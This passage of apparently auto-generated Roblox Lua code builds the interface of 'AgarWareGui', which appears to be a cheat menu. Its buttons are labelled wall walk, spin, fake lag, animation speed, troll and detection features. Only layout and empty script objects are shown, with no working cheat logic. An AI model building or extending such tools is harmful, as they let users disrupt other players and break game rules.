G2L["10b"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["10b"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["10b"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["10b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10b"]["Name"] = [[MiscLeftSide]];
G2L["10b"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.UIListLayout
G2L["10c"] = Instance.new("UIListLayout", G2L["10b"]);
G2L["10c"]["Padding"] = UDim.new(0, 7);
G2L["10c"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group
G2L["10d"] = Instance.new("Frame", G2L["10b"]);
G2L["10d"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["10d"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["10d"]["Size"] = UDim2.new(0, 170, 0, 103);
G2L["10d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["10d"]["Name"] = [[Misc1Group]];
G2L["10d"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Script
G2L["10e"] = Instance.new("LocalScript", G2L["10d"]);
G2L["10e"]["Name"] = [[Misc1Script]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.UIListLayout
G2L["10f"] = Instance.new("UIListLayout", G2L["10d"]);
G2L["10f"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.MiscAccentColor
G2L["110"] = Instance.new("Frame", G2L["10d"]);
G2L["110"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["110"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["110"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["110"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["110"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["110"]["Name"] = [[MiscAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Title
G2L["111"] = Instance.new("TextLabel", G2L["10d"]);
G2L["111"]["TextWrapped"] = true;
G2L["111"]["BorderSizePixel"] = 0;
G2L["111"]["TextSize"] = 14;
G2L["111"]["TextScaled"] = true;
G2L["111"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["111"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["111"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["111"]["BackgroundTransparency"] = 0.95;
G2L["111"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["111"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["111"]["Text"] = [[Misc]];
G2L["111"]["LayoutOrder"] = 1;
G2L["111"]["Name"] = [[Misc1Title]];
G2L["111"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.Misc1Title.Misc1Minimize
G2L["112"] = Instance.new("TextButton", G2L["111"]);
G2L["112"]["BorderSizePixel"] = 0;
G2L["112"]["TextSize"] = 14;
G2L["112"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["112"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["112"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["112"]["BackgroundTransparency"] = 1;
G2L["112"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["112"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["112"]["Text"] = [[-]];
G2L["112"]["Name"] = [[Misc1Minimize]];
G2L["112"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow
G2L["113"] = Instance.new("Frame", G2L["10d"]);
G2L["113"]["BorderSizePixel"] = 0;
G2L["113"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["113"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["113"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["113"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["113"]["Name"] = [[WWalkRow]];
G2L["113"]["LayoutOrder"] = 2;
G2L["113"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkScript
G2L["114"] = Instance.new("LocalScript", G2L["113"]);
G2L["114"]["Name"] = [[WWalkScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkButton
G2L["115"] = Instance.new("TextButton", G2L["113"]);
G2L["115"]["TextSize"] = 14;
G2L["115"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["115"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["115"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["115"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["115"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["115"]["Text"] = [[Execute Wall Walk]];
G2L["115"]["Name"] = [[WWalkButton]];
G2L["115"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.WWalkRow.WWalkHelp
G2L["116"] = Instance.new("TextButton", G2L["113"]);
G2L["116"]["TextSize"] = 14;
G2L["116"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["116"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["116"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["116"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["116"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["116"]["Text"] = [[?]];
G2L["116"]["Name"] = [[WWalkHelp]];
G2L["116"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow
G2L["117"] = Instance.new("Frame", G2L["10d"]);
G2L["117"]["BorderSizePixel"] = 0;
G2L["117"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["117"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["117"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["117"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["117"]["Name"] = [[SpinRow]];
G2L["117"]["LayoutOrder"] = 2;
G2L["117"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinScript
G2L["118"] = Instance.new("LocalScript", G2L["117"]);
G2L["118"]["Name"] = [[SpinScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinTickBox
G2L["119"] = Instance.new("TextButton", G2L["117"]);
G2L["119"]["TextSize"] = 14;
G2L["119"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["119"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["119"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["119"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["119"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["119"]["Text"] = [[]];
G2L["119"]["Name"] = [[SpinTickBox]];
G2L["119"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinText
G2L["11a"] = Instance.new("TextLabel", G2L["117"]);
G2L["11a"]["BorderSizePixel"] = 0;
G2L["11a"]["TextSize"] = 14;
G2L["11a"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["11a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11a"]["BackgroundTransparency"] = 1;
G2L["11a"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["11a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11a"]["Text"] = [[Spin]];
G2L["11a"]["Name"] = [[SpinText]];
G2L["11a"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.SpinRow.SpinChanger
G2L["11b"] = Instance.new("TextBox", G2L["117"]);
G2L["11b"]["Name"] = [[SpinChanger]];
G2L["11b"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["11b"]["TextWrapped"] = true;
G2L["11b"]["TextSize"] = 14;
G2L["11b"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["11b"]["TextScaled"] = true;
G2L["11b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11b"]["PlaceholderText"] = [[(1)]];
G2L["11b"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["11b"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["11b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["11b"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow
G2L["11c"] = Instance.new("Frame", G2L["10d"]);
G2L["11c"]["BorderSizePixel"] = 0;
G2L["11c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["11c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["11c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11c"]["Name"] = [[FakeLagRow]];
G2L["11c"]["LayoutOrder"] = 2;
G2L["11c"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagScript
G2L["11d"] = Instance.new("LocalScript", G2L["11c"]);
G2L["11d"]["Name"] = [[FakeLagScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagTickBox
G2L["11e"] = Instance.new("TextButton", G2L["11c"]);
G2L["11e"]["TextSize"] = 14;
G2L["11e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["11e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["11e"]["Text"] = [[]];
G2L["11e"]["Name"] = [[FakeLagTickBox]];
G2L["11e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagText
G2L["11f"] = Instance.new("TextLabel", G2L["11c"]);
G2L["11f"]["BorderSizePixel"] = 0;
G2L["11f"]["TextSize"] = 14;
G2L["11f"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["11f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11f"]["BackgroundTransparency"] = 1;
G2L["11f"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["11f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11f"]["Text"] = [[Fake Lag]];
G2L["11f"]["Name"] = [[FakeLagText]];
G2L["11f"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.FakeLagRow.FakeLagChanger
G2L["120"] = Instance.new("TextBox", G2L["11c"]);
G2L["120"]["Name"] = [[FakeLagChanger]];
G2L["120"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["120"]["TextWrapped"] = true;
G2L["120"]["TextSize"] = 14;
G2L["120"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["120"]["TextScaled"] = true;
G2L["120"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["120"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["120"]["PlaceholderText"] = [[(1)]];
G2L["120"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["120"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["120"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["120"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow
G2L["121"] = Instance.new("Frame", G2L["10d"]);
G2L["121"]["BorderSizePixel"] = 0;
G2L["121"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["121"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["121"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["121"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["121"]["Name"] = [[AnimSpeedRow]];
G2L["121"]["LayoutOrder"] = 2;
G2L["121"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedScript
G2L["122"] = Instance.new("LocalScript", G2L["121"]);
G2L["122"]["Name"] = [[AnimSpeedScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedTickBox
G2L["123"] = Instance.new("TextButton", G2L["121"]);
G2L["123"]["TextSize"] = 14;
G2L["123"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["123"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["123"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["123"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["123"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["123"]["Text"] = [[]];
G2L["123"]["Name"] = [[AnimSpeedTickBox]];
G2L["123"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedText
G2L["124"] = Instance.new("TextLabel", G2L["121"]);
G2L["124"]["BorderSizePixel"] = 0;
G2L["124"]["TextSize"] = 14;
G2L["124"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["124"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["124"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["124"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["124"]["BackgroundTransparency"] = 1;
G2L["124"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["124"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["124"]["Text"] = [[Anim Speed]];
G2L["124"]["Name"] = [[AnimSpeedText]];
G2L["124"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscLeftSide.Misc1Group.AnimSpeedRow.AnimSpeedChanger
G2L["125"] = Instance.new("TextBox", G2L["121"]);
G2L["125"]["Name"] = [[AnimSpeedChanger]];
G2L["125"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["125"]["TextWrapped"] = true;
G2L["125"]["TextSize"] = 14;
G2L["125"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["125"]["TextScaled"] = true;
G2L["125"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["125"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["125"]["PlaceholderText"] = [[(1)]];
G2L["125"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["125"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["125"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["125"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscRightSide
G2L["126"] = Instance.new("Frame", G2L["10a"]);
G2L["126"]["BorderSizePixel"] = 0;
G2L["126"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["126"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["126"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["126"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["126"]["Name"] = [[MiscRightSide]];
G2L["126"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MiscPage.MiscRightSide.UIListLayout
G2L["127"] = Instance.new("UIListLayout", G2L["126"]);
G2L["127"]["Padding"] = UDim.new(0, 7);
G2L["127"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar
G2L["128"] = Instance.new("Frame", G2L["17"]);
G2L["128"]["Visible"] = false;
G2L["128"]["BorderSizePixel"] = 0;
G2L["128"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["128"]["Size"] = UDim2.new(0, 365, 0, 25);
G2L["128"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["128"]["Name"] = [[TCOSideBar]];
G2L["128"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.MainTCOPG
G2L["129"] = Instance.new("TextButton", G2L["128"]);
G2L["129"]["TextWrapped"] = true;
G2L["129"]["TextSize"] = 12;
G2L["129"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["129"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["129"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["129"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["129"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["129"]["Text"] = [[Main]];
G2L["129"]["Name"] = [[MainTCOPG]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.UIListLayout
G2L["12a"] = Instance.new("UIListLayout", G2L["128"]);
G2L["12a"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
G2L["12a"]["FillDirection"] = Enum.FillDirection.Horizontal;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.MiscTCOPG
G2L["12b"] = Instance.new("TextButton", G2L["128"]);
G2L["12b"]["TextWrapped"] = true;
G2L["12b"]["TextSize"] = 12;
G2L["12b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12b"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["12b"]["LayoutOrder"] = 10;
G2L["12b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["12b"]["Text"] = [[Misc]];
G2L["12b"]["Name"] = [[MiscTCOPG]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.TrollTCOPG
G2L["12c"] = Instance.new("TextButton", G2L["128"]);
G2L["12c"]["TextWrapped"] = true;
G2L["12c"]["TextSize"] = 12;
G2L["12c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12c"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["12c"]["LayoutOrder"] = 1;
G2L["12c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["12c"]["Text"] = [[Troll]];
G2L["12c"]["Name"] = [[TrollTCOPG]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOSideBar.DetectionTCOPG
G2L["12d"] = Instance.new("TextButton", G2L["128"]);
G2L["12d"]["TextWrapped"] = true;
G2L["12d"]["TextSize"] = 12;
G2L["12d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12d"]["Size"] = UDim2.new(0, 80, 0, 25);
G2L["12d"]["LayoutOrder"] = 2;
G2L["12d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["12d"]["Text"] = [[Detection]];
G2L["12d"]["Name"] = [[DetectionTCOPG]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage
G2L["12e"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["12e"]["Visible"] = false;
G2L["12e"]["Active"] = true;
G2L["12e"]["BorderSizePixel"] = 0;
G2L["12e"]["Name"] = [[TCOTrollPage]];
G2L["12e"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["12e"]["Size"] = UDim2.new(0, 349, 0, 233);
G2L["12e"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12e"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0);
G2L["12e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12e"]["ScrollBarThickness"] = 0;
G2L["12e"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide
G2L["12f"] = Instance.new("Frame", G2L["12e"]);
G2L["12f"]["BorderSizePixel"] = 0;
G2L["12f"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["12f"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["12f"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["12f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12f"]["Name"] = [[TCOTrollRightSide]];
G2L["12f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.UIListLayout
G2L["130"] = Instance.new("UIListLayout", G2L["12f"]);
G2L["130"]["Padding"] = UDim.new(0, 7);
G2L["130"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup
G2L["131"] = Instance.new("Frame", G2L["12f"]);
G2L["131"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["131"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["131"]["Size"] = UDim2.new(0, 170, 0, 285);
G2L["131"]["Position"] = UDim2.new(0, 0, -0, 0);
G2L["131"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["131"]["Name"] = [[RepGroup]];
G2L["131"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepScript
G2L["132"] = Instance.new("LocalScript", G2L["131"]);
G2L["132"]["Name"] = [[RepScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTooltip
G2L["133"] = Instance.new("LocalScript", G2L["131"]);
G2L["133"]["Name"] = [[RepTooltip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.UIListLayout
G2L["134"] = Instance.new("UIListLayout", G2L["131"]);
G2L["134"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepAccentColor
G2L["135"] = Instance.new("Frame", G2L["131"]);
G2L["135"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["135"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["135"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["135"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["135"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["135"]["Name"] = [[RepAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTitle
G2L["136"] = Instance.new("TextLabel", G2L["131"]);
G2L["136"]["TextWrapped"] = true;
G2L["136"]["BorderSizePixel"] = 0;
G2L["136"]["TextSize"] = 14;
G2L["136"]["TextScaled"] = true;
G2L["136"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["136"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["136"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["136"]["BackgroundTransparency"] = 0.95;
G2L["136"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["136"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["136"]["Text"] = [[RepStorage Brick]];
G2L["136"]["LayoutOrder"] = 1;
G2L["136"]["Name"] = [[RepTitle]];
G2L["136"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.RepTitle.RepMinimize
G2L["137"] = Instance.new("TextButton", G2L["136"]);
G2L["137"]["BorderSizePixel"] = 0;
G2L["137"]["TextSize"] = 14;
G2L["137"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["137"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["137"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["137"]["BackgroundTransparency"] = 1;
G2L["137"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["137"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["137"]["Text"] = [[-]];
G2L["137"]["Name"] = [[RepMinimize]];
G2L["137"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow
G2L["138"] = Instance.new("Frame", G2L["131"]);
G2L["138"]["BorderSizePixel"] = 0;
G2L["138"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["138"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["138"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["138"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["138"]["Name"] = [[BKitFixRow]];
G2L["138"]["LayoutOrder"] = 4;
G2L["138"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixScript
G2L["139"] = Instance.new("LocalScript", G2L["138"]);
G2L["139"]["Name"] = [[BKitFixScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.RepGroup.BKitFixRow.BKitFixButton
G2L["13a"] = Instance.new("TextButton", G2L["138"]);
G2L["13a"]["TextSize"] = 14;
G2L["13a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["13a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13a"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["13a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["13a"]["Text"] = [[Fix Bkit (Client)]];
G2L["13a"]["Name"] = [[BKitFixButton]];
